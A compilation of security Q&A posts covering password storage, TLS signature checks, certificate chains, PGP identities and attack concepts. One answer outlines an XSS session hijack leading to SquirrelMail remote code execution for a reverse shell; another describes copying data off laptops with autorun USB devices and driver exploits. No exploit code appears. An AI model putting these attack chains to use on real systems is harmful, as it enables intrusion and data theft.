Why does Mozilla Firefox encrypt saved passwords? If you ask Mozilla Firefox to remember the login details for a website, the credentials will be stored in your profile directory in Logins.json.

Instead of storing plaintext values, the username and password will be encrypted (using the PKCS #11 API implemented in Mozilla's NSS library). However, the key required to decrypt them is also stored in your profile directory (in Key3.db). Therefore, an attacker who acquires that directory will obviously also be able to extract the stored passwords (that is, unless the owner has set a master password).

This got me curious: What was the motivation to encrypt the passwords in Logins.json by default when the key is stored nearby? In which realistic scenario could this design decision complicate an attack?

It's probably to simplify the implementation. Rather than having two cases where the key store could be encrypted or not depending on whether Master Password is set, the code always encrypts.

This reduces the likelihood that a code path that forgets to encrypt when Master Password is enabled goes unnoticed.


How to verify integrity of software when the download provider doesn't publish hashes? I noticed that certain software does not provide hash anymore nowadays.
E.g.

Zoom

https://zoom.us/download
wolf@linux:~$ ls -lh zoom_amd64.deb
-rw-rw-r-- 1 wolf wolf 44M Jan   1 00:00 zoom_amd64.deb
wolf@linux:~$

I've googled both md5 and sha256 hashes but couldn't find it.
wolf@linux:~$ md5sum zoom_amd64.deb
5f452b11d86d41e108a32f6a7d86c6dc  zoom_amd64.deb
wolf@linux:~$
wolf@linux:~$ sha256sum zoom_amd64.deb
b06bc30a53ac5d3feb624e536c86394ccb9ac5fc8da9bd239ef48724138e9fc1  zoom_amd64.deb
wolf@linux:~$

Vivaldi Browser

https://vivaldi.com/download/
wolf@linux:~$ ls -lh vivaldi-stable_3.5.2115.81-1_amd64.deb
-rw-rw-r-- 1 wolf wolf 74M Jan   2 11:08 vivaldi-stable_3.5.2115.81-1_amd64.deb
wolf@linux:~$
wolf@linux:~$ md5sum vivaldi-stable_3.5.2115.81-1_amd64.deb
f6dce2ca099e9e910ca6dc1c361aa5b5  vivaldi-stable_3.5.2115.81-1_amd64.deb
wolf@linux:~$
wolf@linux:~$ sha256sum vivaldi-stable_3.5.2115.81-1_amd64.deb
38a18fe2624994cbc9782d7805ec058774e54e99e0ade6ad5e85da45055c9e5c  vivaldi-stable_3.5.2115.81-1_amd64.deb
wolf@linux:~$

Microsoft Teams

https://www.microsoft.com/en-my/microsoft-teams/download-app#desktopAppDownloadregion
wolf@linux:~$ ls -lh teams_1.3.00.30857_amd64.deb
-rw-rw-r-- 1 wolf wolf 73M Jan  20 09:07 teams_1.3.00.30857_amd64.deb
wolf@linux:~$
wolf@linux:~$ md5sum teams_1.3.00.30857_amd64.deb
3d738e013804b96f401bd274db4069d1  teams_1.3.00.30857_amd64.deb
wolf@linux:~$
wolf@linux:~$ sha256sum teams_1.3.00.30857_amd64.deb
5058b1fe8bf9fffc57d94148a7ec55119c5cd9b21aa267cb13518bec0244241b  teams_1.3.00.30857_amd64.deb
wolf@linux:~$

How do we verify software like this to make sure nobody has ever tampered with it?

You are download via HTTPS, so the entire download is protected by TLS.
Publishing the hashes to protect against anti-tamper is a moot point here, because if any attacker have access to vivaldi.com and can alter the downloadable binary, he can alter the website and change the published hash too. A hash is good if the download is not hosted on the same server as the download page. But if both are on the same server, they cannot protect anything.
The installation package usually is digitally signed. You can check Windows executables and .deb packages for the signature, and see if they match.


How to verify the signature of DHE_RSA server parameters (TLS 1.2)? By reading the TLS 1.2 specs I have been able to manually decrypt/encrypt pretty much all the steps of a TLS connection (DHE_RSA_AES_CBC_128_SHA cipher suite).

One of things I am missing is how to verify the signature of the Diffie-Hellman Ephemeral parameters sent by the server. I was able to verify the Certificate chain, but not the initial DH parameters.

First of all, I compute signature^e mod n (e and n coming from the server Certificate). The result looks OK as its looks properly encoded (01FFFF...FF00...<hash>).

However, I am not sure what format to use to hash the DH parameters. I tried hashing the bytes as sent by the server and using DER encoding. I tried encoding just pubKey, and various mixes of p, g and pubKey. But I still cannot make the two hash numbers to match.

For TLS 1.2 the signature should be over the two hello nonces plus the ServerDHParams portion of the ServerKeyExchange message. See rfc5246 section 7.4.3 which shows the input to the digitally-signed construct from section 4.7.

But note earlier protocol versions are different for RSA signature. Two hashes, MD5 and SHA1, are concatenated, but are NOT encoded as an ASN.1 SEQUENCE with the AlgorithmIdentifier for the hash per section 10 of PKCS#1v1.5; instead they are directly formatted as block type 01 per section 8.1 (and modexp'ed in the usual way per 8.2-8.4). This is equivalent to omitting step 2 of EMSA-PKCS1-v1_5 in PKCS#1v2, although rfc4346 4.7 et pred are not totally clear about it.

ADDED in response to comment: what you described should indeed work; here is an example/demo using data from openssl s_client -msg:

>>> TLS 1.2 Handshake [length 00f2], ClientHello
    01 00 00 ee 03 03[57 20 2e 6d bc af 8f 40 58 f4
    0f bd 82 82 dc 78 00 36 2a 74 88 0b 14 71 ef f6
    65 45 db 1f 62 e8]00 00 84 c0 30 c0 2c c0 28 c0
    24 c0 14 c0 0a 00 a3 00 9f 00 6b 00 6a 00 39 00
    38 00 88 00 87 c0 32 c0 2e c0 2a c0 26 c0 0f c0
    05 00 9d 00 3d 00 35 00 84 c0 2f c0 2b c0 27 c0
    23 c0 13 c0 09 00 a2 00 9e 00 67 00 40 00 33 00
    32 c0 12 c0 08 00 9a 00 99 00 45 00 44 00 16 00
    13 c0 31 c0 2d c0 29 c0 25 c0 0e c0 04 c0 0d c0
    03 00 9c 00 3c 00 2f 00 96 00 41 00 0a 00 07 c0
    11 c0 07 c0 0c c0 02 00 05 00 04 00 ff 01 00 00
    41 00 0b 00 04 03 00 01 02 00 0a 00 08 00 06 00
    19 00 18 00 17 00 23 00 00 00 0d 00 20 00 1e 06
    01 06 02 06 03 05 01 05 02 05 03 04 01 04 02 04
    03 03 01 03 02 03 03 02 01 02 02 02 03 00 0f 00
    01 01
<<< TLS 1.2 Handshake [length 0051], ServerHello
    02 00 00 4d 03 03[57 20 2e 9a fe 0a b0 e9 cb 39
    75 23 03 05 52 4a 5a ab a1 2d 59 5e 57 86 ea 98
    98 52 2c e8 40 30]20 57 20 2e 9a 5e 4d 19 0d 1d
    17 5b 62 ef 83 7a 5c 83 a0 03 51 fa a7 2d 60 69
    bc 9c 2b b6 8c 37 c3 00 9f 00 00 05 ff 01 00 01
    00
<<< TLS 1.2 Handshake [length 01ab], Certificate
    0b 00 01 a7 00 01 a4 00 01 a1 30 82 01 9d 30 82
    01 06 a0 03 02 01 02 02 04 57 20 2e 12 30 0d 06
    09 2a 86 48 86 f7 0d 01 01 05 05 00 30 13 31 11
    30 0f 06 03 55 04 03 13 08 74 65 73 74 63 65 72
    74 30 1e 17 0d 31 36 30 34 32 37 30 33 31 32 31
    38 5a 17 0d 32 36 30 34 33 30 30 33 31 32 31 38
    5a 30 13 31 11 30 0f 06 03 55 04 03 13 08 74 65
    73 74 63 65 72 74[30 81 9f 30 0d 06 09 2a 86 48 \
    86 f7 0d 01 01 01 05 00 03 81 8d 00 30 81 89 02
    81 81 00 f1 f7 68 e8 f9 da 82 eb cd b6 bf 41 e8
    48 35 dc a4 18 3f e7 cf 4c 73 6f 9d c8 d0 1e 01
    15 4c 60 88 87 22 dd f2 a0 8c b0 27 55 e0 10 bc signing key
    e7 d6 37 c0 58 27 a9 7b 06 7e 0b 99 f8 ac c2 32 (in cert)
    8c d2 2a 46 74 a4 ef 27 1e f6 65 86 6e ca fe 34
    23 d5 21 fc d7 ab 05 2b 3e ed ba c8 44 24 36 0e
    8c f9 d6 d7 55 1c 56 09 ff 6f 0d 7e 08 4c 7a 59
    cf c6 f3 f9 47 6a 58 69 b3 08 7f 35 e6 6e f9 2d
    c4 02 0d 02 03 01 00 01]30 0d 06 09 2a 86 48 86 /
    f7 0d 01 01 05 05 00 03 81 81 00 be ba ea d9 11
    24 f9 b9 02 c8 35 e3 11 b6 00 0c 46 b1 ed 5a b5
    2b 0c b1 b5 ed 71 da 2c 25 e1 9c 7a 73 40 3d 91
    2b 45 9f 62 ef 43 15 fe 4f 46 a1 55 74 2f 4c 5d
    a5 69 0a 0e 39 e2 5e 03 49 b5 6e 34 21 cd 2f d1
    fa ec 6b 2f 10 32 25 6d e3 8b b4 d8 b7 86 25 59
    f7 86 be 1e dd cf cd 16 10 3f b7 78 4e 42 45 aa
    fa 58 0a c4 1d 52 fe a5 61 64 4b e5 55 8d de 36
    02 f1 d2 19 cd be ca 4a 93 2e 76
depth=0 CN = testcert
verify error:num=18:self signed certificate
verify return:1
<<< TLS 1.2 Handshake [length 020e], ServerKeyExchange
    0c 00 02 0a[00 80 fd 7f 53 81 1d 75 12 29 52 df \
    4a 9c 2e ec e4 e7 f6 11 b7 52 3c ef 44 00 c3 1e
    3f 80 b6 51 26 69 45 5d 40 22 51 fb 59 3d 8d 58
    fa bf c5 f5 ba 30 f6 cb 9b 55 6c d7 81 3b 80 1d
    34 6f f2 66 60 b7 6b 99 50 a5 a4 9f 9f e8 04 7b P
    10 22 c2 4f bb a9 d7 fe b7 c6 1b f8 3b 57 e7 c6
    a8 a6 15 0f 04 fb 83 f6 d3 c5 1e c3 02 35 54 13
    5a 16 91 32 f6 75 f3 ae 2b 61 d7 2a ef f2 22 03
    19 9d d1 48 01 c7 00 80 f7 e1 a0 85 d6 9b 3d de -
    cb bc ab 5c 36 b8 57 b9 79 94 af bb fa 3a ea 82
    f9 57 4c 0b 3d 07 82 67 51 59 57 8e ba d4 59 4f
    e6 71 07 10 81 80 b4 49 16 71 23 e8 4c 28 16 13
    b7 cf 09 32 8c c8 a6 e1 3c 16 7a 8b 54 7c 8d 28 G
    e0 a3 ae 1e 2b b3 a6 75 91 6e a3 7f 0b fa 21 35
    62 f1 fb 62 7a 01 24 3b cc a4 f1 be a8 51 90 89
    a8 83 df e1 5a e5 9f 06 92 8b 66 5e 80 7b 55 25
    64 01 4c 3b fe cf 49 2a 00 80 8c 75 b3 17 44 2c -
    a0 0d 45 3d e9 d3 18 f1 d9 a2 88 85 66 01 4e 86
    e3 46 57 3d d7 64 3a cd c4 d3 14 d5 a3 27 1c 62
    7e c3 23 8a 16 b9 0c 1f 48 f6 c6 8b 2a 6d 36 35
    d7 d9 38 0a 89 cb 88 db 52 ce 3e 5d b4 b6 2a 33 Y
    aa b6 1f 0d 09 14 a5 4e 20 7e 4c 61 6d 22 71 7d
    da fc e7 3b 49 80 31 3d d6 e3 d1 75 a9 69 48 6b
    54 74 27 23 4f 95 63 a2 55 5f 8d da 66 9b 8f 49
    2a 21 0b 1d 31 21 b3 60 aa 0c]06 01 00 80[94 fa -
    c9 33 1e 8c 4c 9c 91 47 a4 52 2e 5a 91 a6 2b 99
    6b 4b 1d 33 1f 9a 9c 44 cc f4 47 9e 3a 7a 70 40
    ff b6 bd 23 0b 51 8b 5c 9a 9e 6d 69 a7 f6 a0 65 signature
    ca 4a 3b 49 46 34 bb 1a 7c 4e c3 5f e0 fc b3 d1
    1f 03 c0 f0 2e f4 87 23 75 3f d5 bc 56 82 4f 83
    f9 b2 da 41 b9 68 b9 33 af 0a ed 4d c2 d8 f0 4d
    2c 21 ad d3 5d 76 47 2f cc 8e 29 72 e5 d6 96 ec
    6d 96 2a c5 80 eb 7c cf 1b ea f6 66 fb fc]      /
<<< TLS 1.2 Handshake [length 0004], ServerHelloDone
    0e 00 00 00

Step 1: concatentate the marked pieces and hash

[dthomps@virt2 ~]$ cat temp1
                      57 20 2e 6d bc af 8f 40 58 f4
    0f bd 82 82 dc 78 00 36 2a 74 88 0b 14 71 ef f6
    65 45 db 1f 62 e8
                      57 20 2e 9a fe 0a b0 e9 cb 39
    75 23 03 05 52 4a 5a ab a1 2d 59 5e 57 86 ea 98
    98 52 2c e8 40 30
                00 80 fd 7f 53 81 1d 75 12 29 52 df
    4a 9c 2e ec e4 e7 f6 11 b7 52 3c ef 44 00 c3 1e
    3f 80 b6 51 26 69 45 5d 40 22 51 fb 59 3d 8d 58
    fa bf c5 f5 ba 30 f6 cb 9b 55 6c d7 81 3b 80 1d
    34 6f f2 66 60 b7 6b 99 50 a5 a4 9f 9f e8 04 7b
    10 22 c2 4f bb a9 d7 fe b7 c6 1b f8 3b 57 e7 c6
    a8 a6 15 0f 04 fb 83 f6 d3 c5 1e c3 02 35 54 13
    5a 16 91 32 f6 75 f3 ae 2b 61 d7 2a ef f2 22 03
    19 9d d1 48 01 c7 00 80 f7 e1 a0 85 d6 9b 3d de
    cb bc ab 5c 36 b8 57 b9 79 94 af bb fa 3a ea 82
    f9 57 4c 0b 3d 07 82 67 51 59 57 8e ba d4 59 4f
    e6 71 07 10 81 80 b4 49 16 71 23 e8 4c 28 16 13
    b7 cf 09 32 8c c8 a6 e1 3c 16 7a 8b 54 7c 8d 28
    e0 a3 ae 1e 2b b3 a6 75 91 6e a3 7f 0b fa 21 35
    62 f1 fb 62 7a 01 24 3b cc a4 f1 be a8 51 90 89
    a8 83 df e1 5a e5 9f 06 92 8b 66 5e 80 7b 55 25
    64 01 4c 3b fe cf 49 2a 00 80 8c 75 b3 17 44 2c
    a0 0d 45 3d e9 d3 18 f1 d9 a2 88 85 66 01 4e 86
    e3 46 57 3d d7 64 3a cd c4 d3 14 d5 a3 27 1c 62
    7e c3 23 8a 16 b9 0c 1f 48 f6 c6 8b 2a 6d 36 35
    d7 d9 38 0a 89 cb 88 db 52 ce 3e 5d b4 b6 2a 33
    aa b6 1f 0d 09 14 a5 4e 20 7e 4c 61 6d 22 71 7d
    da fc e7 3b 49 80 31 3d d6 e3 d1 75 a9 69 48 6b
    54 74 27 23 4f 95 63 a2 55 5f 8d da 66 9b 8f 49
    2a 21 0b 1d 31 21 b3 60 aa 0c
[dthomps@virt2 ~]$ xxd -r -p temp1 | openssl sha512
(stdin)= 3338170798d1c811b121fcdf6fa7f4292807f68cdb3e4b7817d91c0f5ac427e7b4b3871c99685e0f783362d0c9c564b5dcf9725b3949532b8870ca6fb93b3c8e

Step 2: get publickey into usable form

[dthomps@virt2 ~]$ cat tempk
                      30 81 9f 30 0d 06 09 2a 86 48
    86 f7 0d 01 01 01 05 00 03 81 8d 00 30 81 89 02
    81 81 00 f1 f7 68 e8 f9 da 82 eb cd b6 bf 41 e8
    48 35 dc a4 18 3f e7 cf 4c 73 6f 9d c8 d0 1e 01
    15 4c 60 88 87 22 dd f2 a0 8c b0 27 55 e0 10 bc
    e7 d6 37 c0 58 27 a9 7b 06 7e 0b 99 f8 ac c2 32
    8c d2 2a 46 74 a4 ef 27 1e f6 65 86 6e ca fe 34
    23 d5 21 fc d7 ab 05 2b 3e ed ba c8 44 24 36 0e
    8c f9 d6 d7 55 1c 56 09 ff 6f 0d 7e 08 4c 7a 59
    cf c6 f3 f9 47 6a 58 69 b3 08 7f 35 e6 6e f9 2d
    c4 02 0d 02 03 01 00 01
[dthomps@virt2 ~]$ xxd -r -p tempk |openssl rsa -inform d -pubin >tempk.pem
writing RSA key

Step 3: "verify-with-recovery" the signature value

[dthomps@virt2 ~]$ cat temp2
                                              94 fa
    c9 33 1e 8c 4c 9c 91 47 a4 52 2e 5a 91 a6 2b 99
    6b 4b 1d 33 1f 9a 9c 44 cc f4 47 9e 3a 7a 70 40
    ff b6 bd 23 0b 51 8b 5c 9a 9e 6d 69 a7 f6 a0 65
    ca 4a 3b 49 46 34 bb 1a 7c 4e c3 5f e0 fc b3 d1
    1f 03 c0 f0 2e f4 87 23 75 3f d5 bc 56 82 4f 83
    f9 b2 da 41 b9 68 b9 33 af 0a ed 4d c2 d8 f0 4d
    2c 21 ad d3 5d 76 47 2f cc 8e 29 72 e5 d6 96 ec
    6d 96 2a c5 80 eb 7c cf 1b ea f6 66 fb fc
[dthomps@virt2 ~]$ xxd -r -p temp2 | openssl rsautl -verify -inkey tempk.pem -pubin -pkcs |xxd -p
3051300d0609608648016503040203050004403338170798d1c811b121fc
df6fa7f4292807f68cdb3e4b7817d91c0f5ac427e7b4b3871c99685e0f78
3362d0c9c564b5dcf9725b3949532b8870ca6fb93b3c8e

which parses as

3051 = SEQUENCE OF
300d06096086480165030402030500 = AlgId for sha512
0440 = OCTET STRING containing
3338170798d1c811b121fc
df6fa7f4292807f68cdb3e4b7817d91c0f5ac427e7b4b3871c99685e0f78
3362d0c9c564b5dcf9725b3949532b8870ca6fb93b3c8e
= the hash value above


Can email be secured by the receiver only, without action by the sender? An established financial institution just directed me to email them a document with sensitive information.  When I questioned the security, the CS rep and manager both tried to assure me that, "because their system is secure", email to them is secure.

Is this really possible?

Other details:

I called them, not vice versa.
The manager added that, in order to really be secure, I would need to delete the message from my sent items.

No, email in general is insecure. Each server that relays an email necessarily gets a copy, and encryption is opportunistic, so you can't even guarantee that it'll be encrypted between relays.

Deleting it from your sent items would only help if your account gets compromised.


What happens when certificates further up the chain expires before mine? (Equifax/GeoTrust) I just bought a certificate from RapidSSL. Looking up the chain, I found GeoTrust who is signed by Equifax.

Then I realized that the ”Equifax Secure Certificate Authority” is due to expire on 2018-08-22 at 16:42 GMT. While my certificate is due to expire on 2018-09-01  at 01:32 GMT. GeoTrust is due to expire on 2022-05-21 at 6:00. Giving my new cert a longer lifetime than a certificate further up the chain.

What will happen in the last eight days of my certificate? Will it no longer be valid as the chain will be broken?

I came across this while assembling the chain to get OSCP working in OpenSSL. OpenSSL spewed out errors when my chain did not contain Equifax whilst browsers and other clients seemed happy with just the GeoTrust certiface without going any further up the chain. (I presume browsers assume GeoTrust to be a top-level CA while OpenSSL is not happy with them.)

openssl ocsp -issuer RapidSSL_GeoTrust_Equifax.pem \
  -cert my_rappidssl_cert.pem -url http://rapidssl-ocsp.geotrust.com

(This also affects nginx when set to OCSP staple certificate. It fails the same way OpenSSL does with an incomplete chain.)

Is there anyway I can get the last eight days of my certificate? Or should I ask for a 8-day refund?

What will happen with the GeoTrust certificate after 2018?

GeoTrust (and RapidSSL) certs have two trust paths.
There is a root cert for GeoTrust Global CA valid 2002-05-21 to 2022-05-21 and now widespread,
and also a "bridge" cert for the same CA valid 2002-05-21 to 2018-08-21 chaining back to Equifax Secure Certificate Authority which as you saw is valid 1998-08-22 to 2018-08-22.
See my (updated) answer to google certificates correct CA .
So yes your cert will be invalid for its last few days if using the bridge+Equifax chain.

This also affects OCSP responses in your non-title questions.

I don't have a rapidssl cert to test, but if I ask gtglobal-ocsp.geotrust.com about google-CA the responder cert is also under GeoTrust Global CA.
If rapidssl-ocsp does the same, OpenSSL should verify the response if the truststore
contains the GeoTrust root but not the bridge cert because that can confuse chain lookup -- at least to date; 1.0.2 is announced to have changes in chain validation and I haven't looked at the details yet.

For server certs AFAIK all major browsers trust the GeoTrust root and will chain to it. I don't know they validate OCSP responses the same way (as server certs) but I would hope and expect so.

But note if your server (is configured with and) provides in handshake the bridge cert, and possibly the Equifax root -- root is always optional and unnecessary in handshake, OpenSSL client (to date as above) must have the Equifax root in truststore, it will not "discover" the alternate and better trust path to the GeoTrust root, which browsers and maybe other clients will.


Reverse Shell Exploit for SquirrelMail 1.4.22 I am trying to gain access to a remote host running Ubuntu with Squirrel Mail 1.4.22. Ideally I need a reverse shell to traverse the machine to find a series of flags. I have discovered that POODLE is a potential attack but from what I have read, it is not very useful and cannot establish a reverse shell? I looked at some stuff online but the scripts I found all require me to have a login for the squirrel mail service. As this is a test environment, I do not have an account or access to create one. Any ideas would be greatly appreciated.

You may find that many of these XSS attacks (https://www.cvedetails.com/vulnerability-list/vendor_id-803/product_id-1366/year-2018/opxss-1/Squirrelmail-Squirrelmail.html) on Squirrelmail will allow you to perform a session hijack, bypassing the need to create an account, at which point a known vulnerability in 1.4.22 will allow remote code execution: https://www.cvedetails.com/cve/CVE-2017-7692/

If this is a test environment, the XSS attacks would still require a 'victim' to open the mailicious email. If that won't happen, you'll need another approach.


How to go about working with professionals online if you're developing a new encyrption algorithm? I am currently a Computer Science student working on my Master's and think I've discovered a new form of encryption (by extreme luck). Though I've heard it said many times that unless one is well versed in cryptography they shouldn't even attempt to develop anything crypto related, both I and my Committee Chair (to a lesser extent) believe my algorithm can work.

That being said, the algorithm requires knowledge in a field of mathematics both I and my Committee Chair are uncomfortable in and I was wondering how I would go about working with professionals in that field online?

I am not looking to make money on my algorithm nor work in cryptography, as it doesn't interest me much. However, I'm slightly worried about reaching out to professionals who seem very willing / eager to help, but who also have many patents / highly respected careers in this particular domain of mathematics (as I've been in loose contact with one such person).

I would suggest simple conversations with experts in the field to start with. Once you are more certain of the unknowns, prepare to file for a patent. In doing this, you'd research existing patents to make sure yours is unique. Once your patent is filed, post it on here or crypto or journals/etc to get feedback from the community of experts. You can skip the patent if you dont care about money or attribution.


What kinds of PE file infection can AV software detect? I wonder what kind of infections AV software is capable of detecting:

only if the file is signed?
also if the entry point isn't changed?
does it also have hashes for non system files?
what if the signature is simply removed?

Different antivirus software packages have different detection capabilities and mechanisms.  Virtually all support what is called a signature-based mechanism, where a particular series of bytes serves as a fingerprint that triggers a positive detection.

It's important to understand this use of the word "signature" is completely different than a digital signature, which is a cryptographic value mathematically proving the origin of a digital document.  An AV file of malware detection strings should be more properly called a "virus fingerprint file" or "virus fingerprint blacklist", but the word signature was used long ago and it stuck.

AV software does use actual digital signatures, however, to validate that their update files haven't been tampered with.

The problem with detection strings is they are static.  If a malware author realizes his code is detectable, he just changes his code a little bit, which changes the fingerprints, causing it to no longer be on the blacklist.

To help with this, AV software also commonly uses heuristics, which is logic that detects typical virus behavior.  Such behavior might be "trying to act like a debugger", or "installing a hook in a different program".  Any software that attempts to do these activities might trigger a detection warning.  Heuristics are a good addition because they can work on new viruses that have never even been invented yet.

Better than detecting malware, however, are AV tools that use application white-lists.  These programs will simply refuse to allow an application to run that doesn't have a valid checksum on file in the whitelist.  They are difficult to use, however, because they require a sophisticated setup and constant maintenance as software is added and updated.

Another solution is to configure an operating system to require digital signatures on all code before allowing it to run.  This is how Apple's iOS locks out anything but approved software, and why iPhones are more secure without an AV package (AV packages are occasionally proved to be vulnerable or unstable, and have themselves been exploited by attackers.)

But nothing's perfect.  Both whitelists and signed files are still vulnerable to creative attackers who can still exploit buffer overflows in signed applications, and who use techniques like Reverse-Oriented Programming to execute malware from within existing applications.


FireFox's restore previous session restores logins authenticated by server's sessions In a website I'm building when I login, close FireFox, open FireFox and try to go to the website again I must login again (as expected) BUT if I select "Restore Previous Session" I am logged in again. I consider this a security threat as many users expect to be logged out after the browser is closed. I check for a valid session by

  session_start();
  if(isset($_SESSION['loggedIn']))

and if this is true the user is logged in.

In I.E. I wasn't able to reproduce this. How can this be fixed?

Set PHP's session.cookie_lifetime=0.  With a value of zero the session token will be destroyed when the browser closes. session.gc_maxlifetime will still destroy the session after a period of time.


In TrueCrypt Hidden / Normal overriding? If I have a normal TrueCrypt volume, and I want to create a Hidden volume inside of it, how do I stop the 2 from overriding each other?  Or do I just have to manually make sure the inner volume does not go over the threshold?

There is a mechanism to protect the hidden volume when opening the normal volume it shares.  It is described in the TrueCrypt documentation:  http://www.truecrypt.org/docs/?s=hidden-volume-protection


Best practices for GPG user ids What is the best practice for choosing GPG user id(s)?

I've read various bits of advice, which sometimes even contradict each other.  For instance, I've read that one should not use comments, because they are not part of your identity. But strictly speaking, neither is your email address (as it likely will change, and might even be owned by another person later).  I've also read a suggestion on this site that one can avoid using an email address and use only a comment to provide some personally-identifiable information, such as DOB*.

Also, an address-less ID is of less use in a mail client situation.

So given that I want a master key to last a life time (or as close as possible), how should I choose my user ID(s)?

At this point I'm leaning toward:

Primary ID with my full name (First, middle, and last)*
A JPEG ID with a passport-style photo
Additional IDs (First Name, Last Name) for each email address I intend to use

The idea is that the primary ID will never change, while email addresses and appearance (for the JPEG id) likely will change over time.

As I acquire signatures, assuming the signors sign all of my currently active IDs, the Primary address-less id will continue to accrue signatures, while the others may come and go.

*I'm intrigued by the idea of including one's place and date of birth in their primary ID, but I'm concerned about the possible breech of privacy. While it may not be difficult to find someone's DOB, it's not the kind of information I generally publicize to the world. Is there any reason that something more than just my full name ought to be included? For that matter, is my middle name or initial going to add anything?

An alternate approach and a legitimate one is to simply use a random Class 4 UUID1.

This way you detach your keys from any changes in material circumstances and any shifts in your privacy attitude in your personal or professional life.

If you intend to use key servers so that people may contact you securely from the onset (instead of sending a signed "hello, we should have a private conversation" email and harvesting the public key in the reply) then put in the least amount of information necessary to locate you in a directory. This information has become public and may of course change.

Using a random ID approach has several advantages:

You are not disclosing information in advance of communication. Information disclosure occurs progressively as you know the other person better. Which reflects real life.
You needn't rely on public key servers if you don't want to.
Verification that a key is controlled by a specific real person or organisation can be kept separate from otherwise pseudonymous communication. For instance you could disclose at your discretion a named photo signed by a classical key signing party or disclose a CA-signed x509 identity certificate with your GPG UUID in a custom field and cross-signed by your GPG key.
It encourages people to recognise just how weak the verification process underlying secure emails is2 and adjust their expectations of confidential communication accordingly.

To be honest, most email communication is not and will not be encrypted due to a lack of popular interest and support for it (the network effect). Asymmetric key pairs for unsolicited yet secure contact with people you don't know is a nice to have feature most people will never use; and your friendly neighbourhood shadow agency will simply break into your house or mobile phone instead. So don't put a lot of effort or personal information into one of these keys.

Although some OpenPGP tool-belts have implemented presumptive de facto behaviour that may choke on keys missing certain metadata; despite said tools not being seamless in the first place.
Public keys are not inherently linked to a real individual or organisation. The verification kludge that Netscape concocted in the early 90s has proven quite inadequate from a security standpoint. GnuPG/PGP's optional web of trust is both less prevalent and more honest than S/MIME certificates. For both x509 and OpenPGP-compatible keys,  underlying trust is being automagically bootstrapped from the void; PGP is simply more honest that this is happening.


Modify the hosts file of the router and redirect trafic My question is how can I modify the hosts file of the router (If it exists), And redirect users to my server when they prompt a specific website?

It depends a lot on the router. Most household/everyday routers don't have the capability to implement local DNS like you're referring to.
See here: https://superuser.com/questions/311877/why-do-most-routers-not-include-local-dns

If you want to do something client side, you could play around with network shortcuts that map to media servers and the like when you enter in the name of the shortcut in your web browser. Although this doesn't really make sense for large networks, at that point you should have a router that has this kind of functionality built-in already.

Also, this general sort of thing can be exploited in dns redirect attacks, which I feel like you may be alluding to. In the attack, a computer connected to something like a coffee shop wifi network can spoof the router and provide a fake dns/hosts file. This allows an attacker to redirect users, but remember that the attacker's machine is handling redirects, not the router. Not to mention most people use https and verify site security certificates to minimize risks like these.

And when you think about it, the world would be that much more scary if the average router could have its own hosts file. You could be on some coffee shop's WiFi and the sites you visit could be fake copies designed to steal your personal data. Sure, the store owners wouldn't do it, but someone could hack their fifteen year-old router and exploit the theoretical hosts file, or connect their own WiFi router to some unsuspecting company's LAN and cause all sorts of chaos.


New CVE-2018-5407 "PortSmash vulnerablity" in Intel CPU I just heard in the news: Intel CPUs impacted by new PortSmash side-channel vulnerability. Is it as threatening as Meltdown/Spectre? Is it patched? What should we do to be safe? Does it affect AMD CPU's?

It is found by a team in a university so possibly it is not dangerous but a POC is available in GitHub, which makes me to worry.

As with a lot of breaking-news coverage of computer security, there's a lot of questionable reporting on PortSmash. It's not actually very interesting, as it doesn't really add much to the attacker toolkit. It only affects a very narrow set of targets, which are already vulnerable to other attacks (and have been for years).

Colin Percival actually described the attack in question 13 years ago. The scope, specifically, is where there's a secret held in memory (a cryptographic key, for example) that alters what code your program executes. As Percival says in the linked tweets:

  The defence against PortSmash is exactly the same as the defence against microarchitectural side channel attacks from 2005: Make sure that the cryptographic key you're using does not affect the sequence of instructions or memory accesses performed by your code.

  So this story can be filed under "confirming what we already knew".  It's great work -- and I'm glad that after 13 years someone has finally gotten around to writing the exploit -- but it's not something users need to worry about at all.

So PortSmash isn't really anything that new; it's a small evolution in a class of side-channel attacks that all hyper-threading processors are vulnerable to, and have been since the beginning. And yes, it almost certainly impacts both AMD and Intel processors — as it may any hyper-threading processor where similar multi-threading features (specifically, ports or pipes — see comments on this answer for more information) can be maliciously abused.


Is it possible to keep your harddrive data safe from being copied and recovered One of my friend challenged me that if my laptop is turned on then he can attach a device to it, just like in movies which will copy all data of my computer to his hard drive without touching a single key on my laptop.

My question is that is it possible and even if he gets data from hard-drive can he decode it, and then are there gadgets already there or is it just Film thing... and he is chatting bubbles.

Edit

My laptop is not encrypted with bit locker, but if I do add bit locker, would it be secure enough then ?

Yes, it looks possible. I assume you are talking about a USB device.

First, if you have autorun still enabled, the device can present itself as a drive configured for automatically executing the binary that will simply copy all files accessible to it, and maybe try to make a full disk copy.

Then, if you happen to have Windows unpatched, there were some USB driver vulnerabilities out there and exploits for those. Stick a device in and bang, owned.

Regarding the data decoding -- there is not much to decode if one gets a full disk image, he can simply mount it in Linux or whatever.

EDIT: Some CVEs for reference: CVE-2013-1285 CVE-2013-1286 CVE-2013-1287 CVE-2013-3200

And some recreational reading.


Whats the difference between an evil twin and a rogue access point? I'm having a hard time to understand the difference between a rogue AP and an evil twin? I've spend some time searching for it but I don't understand it fully I think. Is it pretty much the same thing except the AP is a physical device that needs to be plugged in physical (Ethernet cable and port) into a existing network and the evil twin can be a computer or raspberry pi, only using Wi-Fi to connect to its victim and a legitimate AP? Is this somewhat correct or have i misunderstood it?

Yeah, but an Evil Twin is a kind of Rogue AP.

The most common Rogue AP is an ilegitimate AP that is plugged in a network to create a bypass from outside into the legitime network.

An Evil Twin is a copy of a legitimate AP. The target is different. It tries to hook clients to connect to the fake network to steal information, but is a kind of Rogue AP too. A lot of people is wrong about this. They think an Evil Twin is not a Rogue AP but it is too. Look at the definition on Wikipedia: Rogue AP. You can read there "... it is tagged as rogue access point of the second kind, which is often called an Evil Twin".

The Evil Twin has too "good" or "positive" usage. It can be used during a pentesting over a corporate network to measure the "security education" or better said, the user's security awareness. To see how many bite the lure.


What are the security implications of having login dialog inside of an iframe I have the page to render some content and I allow it to be embedded at any third party page, so I can't use X-Frame-Options.
One of the requirements is to ask user for login/password when content requires authentication. Currently it will open popup, but I don't like that. I would like to create nice dialog with JavaScript inside of the same window. Since my page might be loaded inside of an iframe, what are security implications of doing so?

If you care about security, don't use iframe.

How can your user trust your iframe to enter their precious login information when the other site can use some simple css to put other elements above your iframe?

https://stackoverflow.com/questions/4378361/placing-content-over-an-iframe

